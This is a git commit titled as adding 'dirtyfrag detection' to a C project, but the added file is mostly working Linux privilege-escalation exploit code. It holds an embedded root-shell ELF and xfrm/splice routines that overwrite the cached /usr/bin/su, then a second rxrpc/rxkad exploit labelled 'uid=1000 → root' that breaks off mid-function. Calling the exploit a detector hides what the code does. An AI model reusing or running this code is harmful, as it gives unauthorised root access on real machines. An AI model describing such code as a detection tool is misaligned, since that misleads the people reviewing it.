commit 3a04c9757c7dbacb0d848a38a27cb45f2bc3b3a1
parent c1bacb4bd233c242ae2d2cb341213224f15dd252
Author: finwo <finwo@pm.me>
Date: Thu, 7 May 2026 22:53:35 +0200
Add dirtyfrag detection
Diffstat:
3 files changed, 2016 insertions(+), 1 deletion(-)
diff --git a/Makefile b/Makefile
@@ -10,6 +10,8 @@ OBJ:=$(SRC:.c=.o)
default: $(BIN)
+src/detector/dirtyfrag.o: CFLAGS += -Dmain=dirtyfrag_main_hidden
+
.c.o:
$(CC) $< $(CFLAGS) -c -o $@
diff --git a/src/detector/dirtyfrag.c b/src/detector/dirtyfrag.c
@@ -0,0 +1,2013 @@
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdint.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <sched.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/uio.h>
+#include <sys/ioctl.h>
+#include <sys/wait.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <net/if.h>
+#include <linux/if.h>
+#include <linux/netlink.h>
+#include <linux/rtnetlink.h>
+#include <linux/xfrm.h>
+
+#ifndef UDP_ENCAP
+#define UDP_ENCAP 100
+#endif
+#ifndef UDP_ENCAP_ESPINUDP
+#define UDP_ENCAP_ESPINUDP 2
+#endif
+#ifndef SOL_UDP
+#define SOL_UDP 17
+#endif
+
+#define ENC_PORT 4500
+#define SEQ_VAL 200
+#define REPLAY_SEQ 100
+#define TARGET_PATH "/usr/bin/su"
+#define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] */
+#define PAYLOAD_LEN 192 /* bytes of shell_elf to write (48 triggers) */
+#define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */
+
+/*
+ * 192-byte minimal x86_64 root-shell ELF.
+ * _start at 0x400078:
+ * setgid(0); setuid(0); setgroups(0, NULL);
+ * execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
+ * PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X.
+ *
+ * Setting TERM in the new shell's env silences the
+ * "tput: No value for $TERM" / "test: : integer expected" noise
+ * /etc/bash.bashrc and friends emit when TERM is unset.
+ *
+ * Code (from offset 0x78):
+ * 31 ff xor edi, edi
+ * 31 f6 xor esi, esi
+ * 31 c0 xor eax, eax
+ * b0 6a mov al, 0x6a ; setgid
+ * 0f 05 syscall
+ * b0 69 mov al, 0x69 ; setuid
+ * 0f 05 syscall
+ * b0 74 mov al, 0x74 ; setgroups
+ * 0f 05 syscall
+ * 6a 00 push 0 ; envp[1] = NULL
+ * 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm"
+ * 50 push rax ; envp[0]
+ * 48 89 e2 mov rdx, rsp ; rdx = envp
+ * 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh"
+ * 31 f6 xor esi, esi ; rsi = NULL (argv)
+ * 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve)
+ * 0f 05 syscall ; execve("/bin/sh",NULL,envp)
+ * "TERM=xterm\0" (offset 0xa5..0xaf)
+ * "/bin/sh\0" (offset 0xb0..0xb7)
+ */
+static const uint8_t shell_elf[PAYLOAD_LEN] = {
+ 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+ 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
+ 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+ 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+ 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+ 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
+ 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+ 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a,
+ 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12,
+ 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6,
+ 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00,
+ 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+};
+
+extern int g_su_verbose;
+int g_su_verbose = 0;
+#define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0)
+
+static int write_proc(const char *path, const char *buf)
+{
+ int fd = open(path, O_WRONLY);
+ if (fd < 0) return -1;
+ int n = write(fd, buf, strlen(buf));
+ close(fd);
+ return n;
+}
+
+static void setup_userns_netns(void)
+{
+ uid_t real_uid = getuid();
+ gid_t real_gid = getgid();
+ if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
+ SLOG("unshare: %s", strerror(errno));
+ exit(1);
+ }
+ write_proc("/proc/self/setgroups", "deny");
+ char map[64];
+ snprintf(map, sizeof(map), "0 %u 1", real_uid);
+ if (write_proc("/proc/self/uid_map", map) < 0) {
+ SLOG("uid_map: %s", strerror(errno)); exit(1);
+ }
+ snprintf(map, sizeof(map), "0 %u 1", real_gid);
+ if (write_proc("/proc/self/gid_map", map) < 0) {
+ SLOG("gid_map: %s", strerror(errno)); exit(1);
+ }
+ int s = socket(AF_INET, SOCK_DGRAM, 0);
+ if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); }
+ struct ifreq ifr; memset(&ifr, 0, sizeof(ifr));
+ strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
+ if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); }
+ ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
+ if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); }
+ close(s);
+}
+
+static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len)
+{
+ struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
+ rta->rta_type = type;
+ rta->rta_len = RTA_LENGTH(len);
+ memcpy(RTA_DATA(rta), data, len);
+ nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len);
+}
+
+static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi)
+{
+ int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
+ if (sk < 0) return -1;
+ struct sockaddr_nl nl = { .nl_family = AF_NETLINK };
+ if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; }
+
+ char buf[4096] = {0};
+ struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
+ nlh->nlmsg_type = XFRM_MSG_NEWSA;
+ nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
+ nlh->nlmsg_pid = getpid();
+ nlh->nlmsg_seq = 1;
+ nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info));
+
+ struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);
+ xs->id.daddr.a4 = inet_addr("127.0.0.1");
+ xs->id.spi = htonl(spi);
+ xs->id.proto = IPPROTO_ESP;
+ xs->saddr.a4 = inet_addr("127.0.0.1");
+ xs->family = AF_INET;
+ xs->mode = XFRM_MODE_TRANSPORT;
+ xs->replay_window = 0;
+ xs->reqid = 0x1234;
+ xs->flags = XFRM_STATE_ESN;
+ xs->lft.soft_byte_limit = (uint64_t)-1;
+ xs->lft.hard_byte_limit = (uint64_t)-1;
+ xs->lft.soft_packet_limit = (uint64_t)-1;
+ xs->lft.hard_packet_limit = (uint64_t)-1;
+ xs->sel.family = AF_INET;
+ xs->sel.prefixlen_d = 32;
+ xs->sel.prefixlen_s = 32;
+ xs->sel.daddr.a4 = inet_addr("127.0.0.1");
+ xs->sel.saddr.a4 = inet_addr("127.0.0.1");
+
+ {
+ char alg_buf[sizeof(struct xfrm_algo_auth) + 32];
+ memset(alg_buf, 0, sizeof(alg_buf));
+ struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf;
+ strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1);
+ aa->alg_key_len = 32 * 8;
+ aa->alg_trunc_len = 128;
+ memset(aa->alg_key, 0xAA, 32);
+ put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf));
+ }
+ {
+ char alg_buf[sizeof(struct xfrm_algo) + 16];
+ memset(alg_buf, 0, sizeof(alg_buf));
+ struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf;
+ strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1);
+ ea->alg_key_len = 16 * 8;
+ memset(ea->alg_key, 0xBB, 16);
+ put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf));
+ }
+ {
+ struct xfrm_encap_tmpl enc;
+ memset(&enc, 0, sizeof(enc));
+ enc.encap_type = UDP_ENCAP_ESPINUDP;
+ enc.encap_sport = htons(ENC_PORT);
+ enc.encap_dport = htons(ENC_PORT);
+ enc.encap_oa.a4 = 0;
+ put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc));
+ }
+ {
+ char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4];
+ memset(esn_buf, 0, sizeof(esn_buf));
+ struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf;
+ esn->bmp_len = 1;
+ esn->oseq = 0;
+ esn->seq = REPLAY_SEQ;
+ esn->oseq_hi = 0;
+ esn->seq_hi = patch_seqhi;
+ esn->replay_window = 32;
+ put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf));
+ }
+
+ if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; }
+ char rbuf[4096];
+ int n = recv(sk, rbuf, sizeof(rbuf), 0);
+ if (n < 0) { close(sk); return -1; }
+ struct nlmsghdr *rh = (struct nlmsghdr *)rbuf;
+ if (rh->nlmsg_type == NLMSG_ERROR) {
+ struct nlmsgerr *e = NLMSG_DATA(rh);
+ if (e->error) { close(sk); return -1; }
+ }
+ close(sk);
+ return 0;
+}
+
+static int do_one_write(const char *path, off_t offset, uint32_t spi)
+{
+ int sk_recv = socket(AF_INET, SOCK_DGRAM, 0);
+ if (sk_recv < 0) return -1;
+ int one = 1;
+ setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
+ struct sockaddr_in sa_d = {
+ .sin_family = AF_INET,
+ .sin_port = htons(ENC_PORT),
+ .sin_addr = { inet_addr("127.0.0.1") },
+ };
+ if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
+ close(sk_recv); return -1;
+ }
+ int encap = UDP_ENCAP_ESPINUDP;
+ if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) {
+ close(sk_recv); return -1;
+ }
+ int sk_send = socket(AF_INET, SOCK_DGRAM, 0);
+ if (sk_send < 0) { close(sk_recv); return -1; }
+ if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
+ close(sk_send); close(sk_recv); return -1;
+ }
+ int file_fd = open(path, O_RDONLY);
+ if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; }
+
+ int pfd[2];
+ if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; }
+
+ uint8_t hdr[24];
+ *(uint32_t*)(hdr + 0) = htonl(spi);
+ *(uint32_t*)(hdr + 4) = htonl(SEQ_VAL);
+ memset(hdr + 8, 0xCC, 16);
+
+ struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) };
+ if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) {
+ close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;
+ }
+ off_t off = offset;
+ ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE);
+ if (s != 16) {
+ close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;
+ }
+ s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);
+ /* still proceed regardless of splice rc — kernel may have already
+ * decrypted the page in the time between splice and recv */
+ usleep(150 * 1000);
+
+ close(file_fd); close(pfd[0]); close(pfd[1]);
+ close(sk_send); close(sk_recv);
+ return s == 40 ? 0 : -1;
+}
+
+static int verify_byte(const char *path, off_t offset, uint8_t want)
+{
+ int fd = open(path, O_RDONLY);
+ if (fd < 0) return -1;
+ uint8_t got;
+ if (pread(fd, &got, 1, offset) != 1) { close(fd); return -1; }
+ close(fd);
+ return got == want ? 0 : -1;
+}
+
+static int corrupt_su(void)
+{
+ setup_userns_netns();
+ usleep(100 * 1000);
+
+ /* Install 40 xfrm SAs, one per 4-byte chunk. Each carries the
+ * desired payload word in its seq_hi field. */
+ for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
+ uint32_t spi = 0xDEADBE10 + i;
+ uint32_t seqhi =
+ ((uint32_t)shell_elf[i*4 + 0] << 24) |
+ ((uint32_t)shell_elf[i*4 + 1] << 16) |
+ ((uint32_t)shell_elf[i*4 + 2] << 8) |
+ ((uint32_t)shell_elf[i*4 + 3]);
+ if (add_xfrm_sa(spi, seqhi) < 0) {
+ SLOG("add_xfrm_sa #%d failed", i);
+ return -1;
+ }
+ }
+ SLOG("installed %d xfrm SAs", PAYLOAD_LEN / 4);
+
+ for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
+ uint32_t spi = 0xDEADBE10 + i;
+ off_t off = PATCH_OFFSET + i * 4;
+ if (do_one_write(TARGET_PATH, off, spi) < 0) {
+ SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off);
+ return -1;
+ }
+ }
+ SLOG("wrote %d bytes to %s starting at 0x%x",
+ PAYLOAD_LEN, TARGET_PATH, PATCH_OFFSET);
+ return 0;
+}
+
+int su_lpe_main(int argc, char **argv)
+{
+ for (int i = 1; i < argc; i++) {
+ if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose"))
+ g_su_verbose = 1;
+ else if (!strcmp(argv[i], "--corrupt-only"))
+ ; /* compat: this body always corrupts only */
+ }
+ if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1;
+
+ pid_t cpid = fork();
+ if (cpid < 0) return 1;
+ if (cpid == 0) {
+ int rc = corrupt_su();
+ _exit(rc == 0 ? 0 : 2);
+ }
+ int cstatus;
+ waitpid(cpid, &cstatus, 0);
+ if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) {
+ SLOG("corruption stage failed (status=0x%x)", cstatus);
+ return 1;
+ }
+
+ /* Sanity check: bytes at the embedded ELF entry (file offset 0x78
+ * after our overwrite) should be 0x31 0xff (xor edi, edi — first
+ * instruction of the new shellcode). */
+ if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 ||
+ verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) {
+ SLOG("post-write verify failed (target unchanged)");
+ return 1;
+ }
+ SLOG("/usr/bin/su page-cache patched (entry 0x%x = shellcode)",
+ ENTRY_OFFSET);
+ return 0;
+}
+/*
+ * rxrpc/rxkad LPE — uid=1000 → root
+ */
+
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdint.h>
+#include <stdarg.h>
+#include <errno.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <time.h>
+#include <sched.h>
+#include <poll.h>
+#include <signal.h>
+#include <sys/wait.h>
+#include <sys/socket.h>
+#include <sys/syscall.h>
+#include <sys/uio.h>
+#include <sys/types.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <linux/rxrpc.h>
+#include <linux/keyctl.h>
+#include <linux/if_alg.h>
+#include <net/if.h>
+#include <termios.h>
+
+#ifndef AF_RXRPC
+#define AF_RXRPC 33
+#endif
+#ifndef PF_RXRPC
+#define PF_RXRPC AF_RXRPC
+#endif
+#ifndef SOL_RXRPC
+#define SOL_RXRPC 272
+#endif
+#ifndef SOL_ALG
+#define SOL_ALG 279
+#endif
+#ifndef AF_ALG
+#define AF_ALG 38
+#endif
+#ifndef MSG_SPLICE_PAGES
+#define MSG_SPLICE_PAGES 0x8000000
+#endif
+
+/* ---- rxrpc constants ---- */
+#define RXRPC_PACKET_TYPE_DATA 1
+#define RXRPC_PACKET_TYPE_ACK 2
+#define RXRPC_PACKET_TYPE_ABORT 4
+#define RXRPC_PACKET_TYPE_CHALLENGE 6
+#define RXRPC_PACKET_TYPE_RESPONSE 7
+#define RXRPC_CLIENT_INITIATED 0x01
+#define RXRPC_REQUEST_ACK 0x02
+#define RXRPC_LAST_PACKET 0x04
+#define RXRPC_CHANNELMASK 3
+#define RXRPC_CIDSHIFT 2
+
+struct rxrpc_wire_header {
+ uint32_t epoch;
+ uint32_t cid;
+ uint32_t callNumber;
+ uint32_t seq;
+ uint32_t serial;
+ uint8_t type;
+ uint8_t flags;
+ uint8_t userStatus;
+ uint8_t securityIndex;
+ uint16_t cksum; /* big-endian on wire */
+ uint16_t serviceId;
+} __attribute__((packed));
+
+struct rxkad_challenge {
+ uint32_t version;
+ uint32_t nonce;
+ uint32_t min_level;
+ uint32_t __padding;
+} __attribute__((packed));
+
+/* Attacker-chosen 8-byte session key used for the rxkad token.
+ * Mutable because the LPE brute-force iterates over keys looking for
+ * one that decrypts the file's UID field to a "0:" prefix. */
+static uint8_t SESSION_KEY[8] = {
+ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08
+};
+
+#define LOG(fmt, ...) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__)
+#define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__)
+#define DBG(fmt, ...) fprintf(stderr, "[.] " fmt "\n", ##__VA_ARGS__)
+
+/* =================================================================== */
+/* unshare + map setup */
+/* =================================================================== */
+
+static int write_file(const char *path, const char *fmt, ...)
+{
+ int fd = open(path, O_WRONLY);
+ if (fd < 0) return -1;
+ char buf[256]; va_list ap; va_start(ap, fmt);
+ int n = vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap);
+ int r = (int)write(fd, buf, n); close(fd);
+ return r;
+}
+
+static int do_unshare_userns_netns(void)
+{
+ uid_t real_uid = getuid();
+ gid_t real_gid = getgid();
+ if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
+ WARN("unshare(NEWUSER|NEWNET): %s", strerror(errno));
+ return -1;
+ }
+ LOG("unshare(USER|NET) OK, real uid=%u", real_uid);
+ write_file("/proc/self/setgroups", "deny");
+ if (write_file("/proc/self/uid_map", "%u %u 1", real_uid, real_uid) < 0) {
+ WARN("uid_map: %s", strerror(errno)); return -1;
+ }
+ if (write_file("/proc/self/gid_map", "%u %u 1", real_gid, real_gid) < 0) {
+ WARN("gid_map: %s", strerror(errno)); return -1;
+ }
+ LOG("uid/gid identity-mapped %u/%u; gained CAP_NET_RAW within netns",
+ real_uid, real_gid);
+
+ /* ifup lo */
+ int s = socket(AF_INET, SOCK_DGRAM, 0);
+ if (s >= 0) {
+ struct ifreq ifr; memset(&ifr, 0, sizeof(ifr));
+ strcpy(ifr.ifr_name, "lo");
+ if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) {
+ ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
+ if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0)
+ WARN("SIOCSIFFLAGS lo: %s", strerror(errno));
+ else
+ LOG("lo brought UP in new netns");
+ }
+ close(s);
+ }
+ return 0;
+}
+
+/* =================================================================== */
+/* rxrpc key (rxkad v1 token with attacker session key) */
+/* =================================================================== */
+
+static long key_add(const char *type, const char *desc,
+ const void *payload, size_t plen, int ringid)
+{
+ return syscall(SYS_add_key, type, desc, payload, plen, ringid);
+}
+
+static int build_rxrpc_v1_token(uint8_t *out, size_t maxlen)
+{
+ uint8_t *p = out;
+ uint32_t now = (uint32_t)time(NULL);
+ uint32_t expires = now + 86400;
+ *(uint32_t *)p = htonl(0); p += 4; /* flags */
+ const char *cell = "evil";
+ uint32_t clen = strlen(cell);
+ *(uint32_t *)p = htonl(clen); p += 4;
+ memcpy(p, cell, clen);
+ uint32_t pad = (4 - (clen & 3)) & 3;
+ memset(p + clen, 0, pad);
+ p += clen + pad;
+ *(uint32_t *)p = htonl(1); p += 4; /* ntoken */
+ uint8_t *toklen_p = p; p += 4;
+ uint8_t *tokstart = p;
+ *(uint32_t *)p = htonl(2); p += 4; /* sec_ix = RXKAD */
+ *(uint32_t *)p = htonl(0); p += 4; /* vice_id */
+ *(uint32_t *)p = htonl(1); p += 4; /* kvno */
+ memcpy(p, SESSION_KEY, 8); p += 8; /* session_key K */
+ *(uint32_t *)p = htonl(now); p += 4;
+ *(uint32_t *)p = htonl(expires); p += 4;
+ *(uint32_t *)p = htonl(1); p += 4; /* primary_flag */
+ *(uint32_t *)p = htonl(8); p += 4; /* ticket_len */
+ memset(p, 0xCC, 8); p += 8; /* ticket */
+ uint32_t toklen = (uint32_t)(p - tokstart);
+ *(uint32_t *)toklen_p = htonl(toklen);
+ if ((size_t)(p - out) > maxlen) { errno = E2BIG; return -1; }
+ return (int)(p - out);
+}
+
+static long add_rxrpc_key(const char *desc)
+{
+ uint8_t buf[512];
+ int n = build_rxrpc_v1_token(buf, sizeof(buf));
+ if (n < 0) return -1;
+ return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);
+}
+
+/* =================================================================== */
+/* AF_ALG pcbc(fcrypt) helpers */
+/* =================================================================== */
+
+static int alg_open_pcbc_fcrypt(const uint8_t key[8])
+{
+ int s = socket(AF_ALG, SOCK_SEQPACKET, 0);
+ if (s < 0) { WARN("socket(AF_ALG): %s", strerror(errno)); return -1; }
+ struct sockaddr_alg sa = { .salg_family = AF_ALG };
+ strcpy((char *)sa.salg_type, "skcipher");
+ strcpy((char *)sa.salg_name, "pcbc(fcrypt)");
+ if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
+ WARN("bind(AF_ALG pcbc(fcrypt)): %s", strerror(errno));
+ close(s); return -1;
+ }
+ if (setsockopt(s, SOL_ALG, ALG_SET_KEY, key, 8) < 0) {
+ WARN("ALG_SET_KEY: %s", strerror(errno));
+ close(s); return -1;
+ }
+ return s;
+}
+
+/* Encrypt-or-decrypt a 1+ block of data with a given IV. */
+static int alg_op(int alg_s, int op, const uint8_t iv[8],
+ const void *in, size_t inlen, void *out)
+{
+ int op_fd = accept(alg_s, NULL, NULL);
+ if (op_fd < 0) { WARN("accept(AF_ALG): %s", strerror(errno)); return -1; }
+
+ char cbuf[CMSG_SPACE(sizeof(int)) +
+ CMSG_SPACE(sizeof(struct af_alg_iv) + 8)] = {0};
+ struct msghdr msg = {0};
+ msg.msg_control = cbuf;
+ msg.msg_controllen = sizeof(cbuf);
+
+ struct cmsghdr *c = CMSG_FIRSTHDR(&msg);
+ c->cmsg_level = SOL_ALG;
+ c->cmsg_type = ALG_SET_OP;
+ c->cmsg_len = CMSG_LEN(sizeof(int));
+ *(int *)CMSG_DATA(c) = op;
+
+ c = CMSG_NXTHDR(&msg, c);
+ c->cmsg_level = SOL_ALG;
+ c->cmsg_type = ALG_SET_IV;
+ c->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + 8);
+ struct af_alg_iv *aiv = (struct af_alg_iv *)CMSG_DATA(c);
+ aiv->ivlen = 8;
+ memcpy(aiv->iv, iv, 8);
+
+ struct iovec iov = { .iov_base = (void *)in, .iov_len = inlen };
+ msg.msg_iov = &iov; msg.msg_iovlen = 1;
+
+ if (sendmsg(op_fd, &msg, 0) < 0) {
+ WARN("AF_ALG sendmsg: %s", strerror(errno));
+ close(op_fd); return -1;
+ }
+ ssize_t n = read(op_fd, out, inlen);
+ close(op_fd);
+ if (n != (ssize_t)inlen) {
+ WARN("AF_ALG read got %zd want %zu: %s",
+ n, inlen, strerror(errno));
+ return -1;
+ }
+ return 0;
+}
+
+/* Compute conn->rxkad.csum_iv (ref: rxkad_prime_packet_security):
+ * tmpbuf[0..3] = htonl(epoch, cid, 0, security_ix) (16 B)
+ * PCBC-encrypt(tmpbuf, IV=session_key) → out[16]
+ * csum_iv = out[8..15] (last 8 B = "tmpbuf[2..3]" after encryption)
+ */
+static int compute_csum_iv(uint32_t epoch, uint32_t cid, uint32_t sec_ix,
+ const uint8_t key[8], uint8_t csum_iv[8])
+{
+ int s = alg_open_pcbc_fcrypt(key);
+ if (s < 0) return -1;
+ uint32_t in[4] = { htonl(epoch), htonl(cid), 0, htonl(sec_ix) };
+ uint8_t out[16];
+ int rc = alg_op(s, ALG_OP_ENCRYPT, key, in, 16, out);
+ close(s);
+ if (rc < 0) return -1;
+ memcpy(csum_iv, out + 8, 8);
+ return 0;
+}
+
+/* Compute the wire cksum (ref: rxkad_secure_packet @rxkad.c:342):
+ * x = (cid_low2 << 30) | (seq & 0x3fffffff)
+ * buf[0] = htonl(call_id), buf[1] = htonl(x) (8 B)
+ * PCBC-encrypt(buf, IV=csum_iv) → enc[8]
+ * y = ntohl(enc[1]); cksum = (y >> 16) & 0xffff; if zero -> 1
+ */
+static int compute_cksum(uint32_t cid, uint32_t call_id, uint32_t seq,
+ const uint8_t key[8], const uint8_t csum_iv[8],
+ uint16_t *cksum_out)
+{
+ int s = alg_open_pcbc_fcrypt(key);
+ if (s < 0) return -1;
+ uint32_t x = (cid & RXRPC_CHANNELMASK) << (32 - RXRPC_CIDSHIFT);
+ x |= seq & 0x3fffffff;
+ uint32_t in[2] = { htonl(call_id), htonl(x) };
+ uint32_t out[2];
+ int rc = alg_op(s, ALG_OP_ENCRYPT, csum_iv, in, 8, out);
+ close(s);
+ if (rc < 0) return -1;
+ uint32_t y = ntohl(out[1]);
+ uint16_t v = (y >> 16) & 0xffff;
+ if (v == 0) v = 1;
+ *cksum_out = v;
+ return 0;
+}
+
+/* =================================================================== */
+/* AF_RXRPC client */
+/* =================================================================== */
+
+static int setup_rxrpc_client(uint16_t local_port, const char *keyname)
+{
+ int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
+ if (fd < 0) { WARN("socket(AF_RXRPC client): %s", strerror(errno)); return -1; }
+ if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY,
+ keyname, strlen(keyname)) < 0) {
+ WARN("client SECURITY_KEY: %s", strerror(errno)); close(fd); return -1;
+ }
+ int min_level = RXRPC_SECURITY_AUTH;
+ if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL,
+ &min_level, sizeof(min_level)) < 0) {
+ WARN("client MIN_SECURITY_LEVEL: %s", strerror(errno));
+ close(fd); return -1;
+ }
+ struct sockaddr_rxrpc srx = {0};
+ srx.srx_family = AF_RXRPC;
+ srx.srx_service = 0;
+ srx.transport_type = SOCK_DGRAM;
+ srx.transport_len = sizeof(struct sockaddr_in);
+ srx.transport.sin.sin_family = AF_INET;
+ srx.transport.sin.sin_port = htons(local_port);
+ srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
+ if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) {
+ WARN("client bind :%u: %s", local_port, strerror(errno));
+ close(fd); return -1;
+ }
+ LOG("AF_RXRPC client bound :%u", local_port);
+ return fd;
+}
+
+static int rxrpc_client_initiate_call(int cli_fd, uint16_t srv_port,
+ uint16_t service_id,
+ unsigned long user_call_id)
+{
+ char data[8] = "PINGPING";
+ struct sockaddr_rxrpc srx = {0};
+ srx.srx_family = AF_RXRPC;
+ srx.srx_service = service_id;
+ srx.transport_type = SOCK_DGRAM;
+ srx.transport_len = sizeof(struct sockaddr_in);
+ srx.transport.sin.sin_family = AF_INET;
+ srx.transport.sin.sin_port = htons(srv_port);
+ srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
+
+ char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))];
+ struct msghdr msg = {0};
+ msg.msg_name = &srx; msg.msg_namelen = sizeof(srx);
+ struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) };
+ msg.msg_iov = &iov; msg.msg_iovlen = 1;
+ msg.msg_control = cmsg_buf; msg.msg_controllen = sizeof(cmsg_buf);
+ struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
+ cmsg->cmsg_level = SOL_RXRPC;
+ cmsg->cmsg_type = RXRPC_USER_CALL_ID;
+ cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long));
+ *(unsigned long *)CMSG_DATA(cmsg) = user_call_id;
+
+ /* Don't block forever if no reply ever comes through this single sendmsg. */
